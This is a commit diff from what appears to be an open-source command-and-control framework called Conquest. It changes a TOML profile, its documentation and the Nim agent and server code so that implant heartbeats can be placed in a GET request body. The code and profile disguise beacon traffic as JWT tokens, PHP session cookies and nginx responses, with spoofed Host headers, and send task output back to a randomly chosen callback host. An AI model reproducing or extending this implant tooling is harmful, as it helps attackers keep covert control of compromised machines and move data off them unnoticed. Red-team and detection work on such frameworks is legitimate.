Heartbeat can be placed in request body again.
This commit is contained in:
@@ -25,8 +25,8 @@ endpoints = [
|
|||||||
]
|
]
|
||||||
|
|
||||||
# Defines where the heartbeat is placed within the HTTP GET request
|
# Defines where the heartbeat is placed within the HTTP GET request
|
||||||
# Allows for data transformation using encoding (base64, hex, ...), appending and prepending of strings
|
# Allows for optional data transformation using encoding (base64, hex, ...), appending and prepending of strings
|
||||||
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body
|
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter or request body
|
||||||
# Encoding is only applied to the payload and not the prepended or appended strings
|
# Encoding is only applied to the payload and not the prepended or appended strings
|
||||||
[http-get.agent.heartbeat]
|
[http-get.agent.heartbeat]
|
||||||
placement = { type = "header", name = "Authorization" }
|
placement = { type = "header", name = "Authorization" }
|
||||||
@@ -36,13 +36,17 @@ suffix = ".######################################-####"
|
|||||||
|
|
||||||
# Example: PHP session cookie
|
# Example: PHP session cookie
|
||||||
# placement = { type = "header", name = "Cookie" }
|
# placement = { type = "header", name = "Cookie" }
|
||||||
|
# encoding = { type = "base64", url-safe = true }
|
||||||
# prefix = "PHPSESSID="
|
# prefix = "PHPSESSID="
|
||||||
# suffix = ", path=/"
|
# suffix = ", path=/"
|
||||||
# encoding = { type = "base64", url-safe = true }
|
|
||||||
|
|
||||||
# Other examples
|
# Example: Hex string in GET parameter
|
||||||
# placement = { type = "query", name = "id" }
|
# placement = { type = "query", name = "id" }
|
||||||
# placement = { type = "uri" }
|
# encoding = { type = "hex" }
|
||||||
|
|
||||||
|
# Example: Raw data in GET request body
|
||||||
|
# placement = { type = "body" }
|
||||||
|
# encoding = { type = "none" }
|
||||||
|
|
||||||
# Defines arbitrary URI parameters that are added to the request
|
# Defines arbitrary URI parameters that are added to the request
|
||||||
[http-get.agent.parameters]
|
[http-get.agent.parameters]
|
||||||
@@ -103,7 +107,7 @@ Host = [
|
|||||||
"google.com",
|
"google.com",
|
||||||
"127.0.0.1"
|
"127.0.0.1"
|
||||||
]
|
]
|
||||||
Content-Type = "application/octet-stream"
|
Content-Type = "text/plain"
|
||||||
Connection = "Keep-Alive"
|
Connection = "Keep-Alive"
|
||||||
Cache-Control = "no-cache"
|
Cache-Control = "no-cache"
|
||||||
|
|
||||||
@@ -113,7 +117,7 @@ lang = [
|
|||||||
"en-US",
|
"en-US",
|
||||||
"de-AT"
|
"de-AT"
|
||||||
]
|
]
|
||||||
page = "1$"
|
page = "1$" # The $ character is replaced with a random number
|
||||||
|
|
||||||
# Defines how the POST requests made by the agents look like
|
# Defines how the POST requests made by the agents look like
|
||||||
# For modules that involve large file transfers, it is not recommended to place the task output in a header or query parameter, as this will exceed the header size
|
# For modules that involve large file transfers, it is not recommended to place the task output in a header or query parameter, as this will exceed the header size
|
||||||
@@ -121,8 +125,8 @@ page = "1$"
|
|||||||
[http-post.agent.output]
|
[http-post.agent.output]
|
||||||
placement = { type = "body" }
|
placement = { type = "body" }
|
||||||
encoding = { type = "hex" }
|
encoding = { type = "hex" }
|
||||||
# prefix = ""
|
# prefix = "<START>"
|
||||||
# suffix = ""
|
# suffix = "<END>"
|
||||||
|
|
||||||
# Defines arbitrary response headers added by the server
|
# Defines arbitrary response headers added by the server
|
||||||
[http-post.server.headers]
|
[http-post.server.headers]
|
||||||
@@ -130,4 +134,4 @@ Server = "nginx"
|
|||||||
|
|
||||||
# Defines data that is returned in the body of the server's response
|
# Defines data that is returned in the body of the server's response
|
||||||
[http-post.server.output]
|
[http-post.server.output]
|
||||||
body = ""
|
body = "Ok"
|
||||||
@@ -50,7 +50,7 @@ A huge advantage of Conquest's C2 profile is the customization of where the hear
|
|||||||
|
|
||||||
| Name | Type | Description |
|
| Name | Type | Description |
|
||||||
| --- | --- | --- |
|
| --- | --- | --- |
|
||||||
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `query`, `uri`, `body`|
|
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `query` and `body`|
|
||||||
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
|
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
|
||||||
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `hex` and `none` (default) |
|
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `hex` and `none` (default) |
|
||||||
| encoding.url-safe | BOOL | Only used if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. Default: `false` |
|
| encoding.url-safe | BOOL | Only used if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. Default: `false` |
|
||||||
@@ -67,9 +67,6 @@ On the other hand, the server processes the requests in the following order:
|
|||||||
2. Removal of prefix & suffix
|
2. Removal of prefix & suffix
|
||||||
3. Decoding
|
3. Decoding
|
||||||
|
|
||||||
> [!NOTE]
|
|
||||||
> Heartbeat placement is currently only implemented for `header` and `query`, as those are the most commonly used options.
|
|
||||||
|
|
||||||
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
|
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
|
||||||
|
|
||||||
```toml
|
```toml
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
|
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
|
||||||
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
|
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
|
||||||
payload = prefix & heartbeatString & suffix
|
payload = prefix & heartbeatString & suffix
|
||||||
|
var body = ""
|
||||||
|
|
||||||
# Add heartbeat packet to the request
|
# Add heartbeat packet to the request
|
||||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
||||||
@@ -37,10 +38,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
of protect("query"):
|
of protect("query"):
|
||||||
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
||||||
endpoint &= fmt"{param}={payload}&"
|
endpoint &= fmt"{param}={payload}&"
|
||||||
of protect("uri"):
|
|
||||||
discard
|
|
||||||
of protect("body"):
|
of protect("body"):
|
||||||
discard
|
body = payload
|
||||||
else:
|
else:
|
||||||
discard
|
discard
|
||||||
|
|
||||||
@@ -53,7 +52,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
# Select random callback host
|
# Select random callback host
|
||||||
let hosts = ctx.hosts.split(";")
|
let hosts = ctx.hosts.split(";")
|
||||||
let host = hosts[rand(hosts.len() - 1)]
|
let host = hosts[rand(hosts.len() - 1)]
|
||||||
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
|
let response = waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", HttpGet, body)
|
||||||
|
|
||||||
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
|
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
|
||||||
if response.code == Http404:
|
if response.code == Http404:
|
||||||
@@ -124,8 +123,6 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
|||||||
of protect("query"):
|
of protect("query"):
|
||||||
let param = ctx.profile.getString(protect("http-post.agent.output.placement.name"))
|
let param = ctx.profile.getString(protect("http-post.agent.output.placement.name"))
|
||||||
endpoint &= fmt"{param}={payload}&"
|
endpoint &= fmt"{param}={payload}&"
|
||||||
of protect("uri"):
|
|
||||||
discard
|
|
||||||
of protect("body"):
|
of protect("body"):
|
||||||
body = payload # Set the request body to the "prefix & task output & suffix" construct
|
body = payload # Set the request body to the "prefix & task output & suffix" construct
|
||||||
else:
|
else:
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
@@ -53,10 +53,9 @@ proc httpGet*(request: Request) =
|
|||||||
request.respond(404, body = "")
|
request.respond(404, body = "")
|
||||||
return
|
return
|
||||||
|
|
||||||
of "uri":
|
|
||||||
discard
|
|
||||||
of "body":
|
of "body":
|
||||||
discard
|
heartbeatString = request.body
|
||||||
|
|
||||||
else: discard
|
else: discard
|
||||||
|
|
||||||
# Retrieve and apply data transformation to get raw heartbeat packet
|
# Retrieve and apply data transformation to get raw heartbeat packet
|
||||||
@@ -142,9 +141,6 @@ proc httpPost*(request: Request) =
|
|||||||
request.respond(400, body = "")
|
request.respond(400, body = "")
|
||||||
return
|
return
|
||||||
|
|
||||||
of "uri":
|
|
||||||
discard
|
|
||||||
|
|
||||||
of "body":
|
of "body":
|
||||||
dataString = request.body
|
dataString = request.body
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user